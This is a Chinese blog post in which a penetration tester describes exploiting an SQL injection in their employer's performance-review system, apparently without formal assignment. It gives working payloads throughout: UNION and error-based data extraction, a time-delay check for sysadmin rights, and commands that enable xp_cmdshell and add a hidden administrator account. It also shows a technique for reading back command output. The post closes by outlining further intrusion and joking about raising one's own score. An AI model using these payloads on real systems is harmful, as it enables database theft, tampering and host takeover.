记一次漫无目的SQL注入

记一次漫无目的SQL注入

上周收到邮件,说要年终KPI考核,要求填报个人年终总结绩效考评什么的。

在这里插入图片描述

登录系统后,不经意间发现此系统比较脆弱。正好楼主被另一个代码比较成熟的项目渗透测试搞得有点疲惫,碰到软柿子还是想捏一把。遂填报绩效的时候准备随便找个注入搞一搞,上交公司混个KPI。过程手法比较常规,大佬们就当看个流水账好了

注入直接就SA了??

漏洞位置

/TargetManagement/LoadMySelfEvaluate

漏洞参数

Empid

构造闭合测列数,14列太多,13列正好

在这里插入图片描述

union select语句执行SQL查询,基于报错注入取的回显信息

https://172.x.x.151/TargetManagement/LoadMySelfEvaluate?Empid=5233'UNION ALL SELECT null,2,current_user,convert(int,@@version ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

在这里插入图片描述

当前用户 dbo

在这里插入图片描述

再看看是sqlserver权限,常用的判断权限是

select IS_SRVROLEMEMBER('sysadmin')  --判断是否为sa权限
select IS_MEMBER('db_owner')  --判断是否为dba权限

前面的类型转换报错注入对bool类型不太适用,一个一个匹配查询结果的13列数据类型在页面渲染也太累。直接构造盲注payload

-5233';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:10';--

如果当前用户是sa权限就执行延时函数10秒。返回结果总共用时10.24秒(好家伙,还搞出来个整数)。看来数据库sa到手了。

在这里插入图片描述

Sa已为sqlserver最高权限。可通过查询information_schema系统表依次取得数据库名,表名、列名,最后构造对应表结构的查询语句获取整个数据库数据。也可直接使用drop,update等删除或修改操作。(顺便问问大佬们sqlserver有类似sqligod的工具吗?)

如获取数据库表名第一列

https://172.x.x.151/TargetManagement/LoadMySelfEvaluate?Empid=5233'UNION ALL SELECT null,2,current_user,convert(int,(select top 1  table_name from information_schema.columns)) ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

在这里插入图片描述

SA在手,妥妥的高危,打工人的绩效已经”掌握“在自己手上了(误: 你要悄悄的把自己绩效拉满,然后惊艳所有人!!!)

为了进一步证明此漏洞危害性,继续往下搞。

xp_cmdshell命令执行

尝试xp_cmdshell运行系统层命令,sqlserver2012的权限默认禁止

在这里插入图片描述

利用前面的注入自己开启xp_cmdshell

https://172.x.x.151/TargetManagement/LoadMySelfEvaluate?Empid=-5233';  Exec sp_configure 'show advanced options',1;reconfigure--
https://172.x.x.151/TargetManagement/LoadMySelfEvaluate?Empid=-5233';exec sp_configure 'xp_cmdshell',1;reconfigure;--

再次尝试已经可以执行xp_cmdshell,应该是开启成功的,可以执行系统指令但是是没有回显

理论上可以通过xp_cmdshell命令来添加windows用户,直接RDP远程?

exec master.dbo.xp_cmdshell 'net user  fishtoucher$ 123456 /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators fishtoucher$ /add'

现实总是不那么顺利,可能是防火墙做了限制。 telnet试了下本地访问绩效管理系统服务端常用端口3389,1433都不通。即使用户添加成功暂时也访问不到,先不运行上面的命令了。

看到头像上传功能,突然想写个webshell

在这里插入图片描述

一番试验,可能是黑名单机制,非图片格式访问也会变成直接下载文件,只能拿到相对路径和上传后的文件名,就当是信息搜集了

在这里插入图片描述

又想xp_cmdshell 直接写马,写马需要知道绝对路径。怎么获得绝对路径呢?

当前数据库最高权限,能执行windows cmd但没有回显。想到之前一个文章看到的思路把回显解决掉:将cmd执行结果写到数据库,然后查询数据库获得执行结果。网站的绝对路径可以通过文件查找命令拼接出绝对路径,如在d盘查找testdir.txt文件,本地测试图如下

在这里插入图片描述

返回结果是绝对路径,把这个绝对路径写到数据库tempdb的新建表pwd,再查下pwd表就能把绝对路径取出来

前面上传头像知道了某个相对路径下有/Content/UploadFiles/xxx/Avatar/105204586.txt,先在c盘查找这个txt看看

https://172.x.x.151/TargetManagement/LoadMySelfEvaluate?Empid=-5233';use tempdb;create table pwd (id int identity(1,1),res varchar(1000));insert into pwd(res) exec master..xp_cmdshell 'dir /s /b C:\105204586.txt';--
--注:建pwd表时,id字段可以方便运行结果有多行时的结果读取

https://172.x.x.151/TargetManagement/LoadMySelfEvaluate?Empid=-5233';use tempdb; SELECT null,2,current_user,convert(int,(select res from pwd where id=1)) ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL;--

通过上面的方法拿到命令执行回显的时候也发现自己走了些弯路。

在这里插入图片描述

呃。。。c盘没有这个文件,再试defg盘都没有这个文件,脑子里蹦出来四个字:“站!库!分!离!”

同样的思路执行ipconfig 再去读执行结果,果然。。。数据库是x.x.x.152,网站是x.x.x.151,年轻人不讲武德!

在这里插入图片描述

看来不能直接通过注入把马写到网站所在目录了。

再后来,就是继续用前面的命令执行搜集信息,但都没留截图。获取到主机装了趋势杀毒(tasklist就属于结果行数较多的,直接用burp遍历我们建的pwd表id列看起来就很方便)。还发现这玩意儿限制了入站,但出网没有任何限制,甚至可以直接访问互联网。

风险一目了然,至少写漏洞报告够,后面就没搞了。写个报告发给领导,收工。

在这里插入图片描述

结语

软柿子后面的路线比较清晰了:尝试powershell、bitsadmin之类的去下载文件,上cs先搞数据库的服务器。站库虽然分离,但大概率还是口令复用,理想条件下网站服务器就能拿到。

打工人,打工魂,打工再难必须忍。软柿子捏完了,还是回到开头那个难搞的项目站继续搬砖吧。。。。。。。。。

参考链接

sqlserver提权

从 SQL Server 注入到 getshell

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值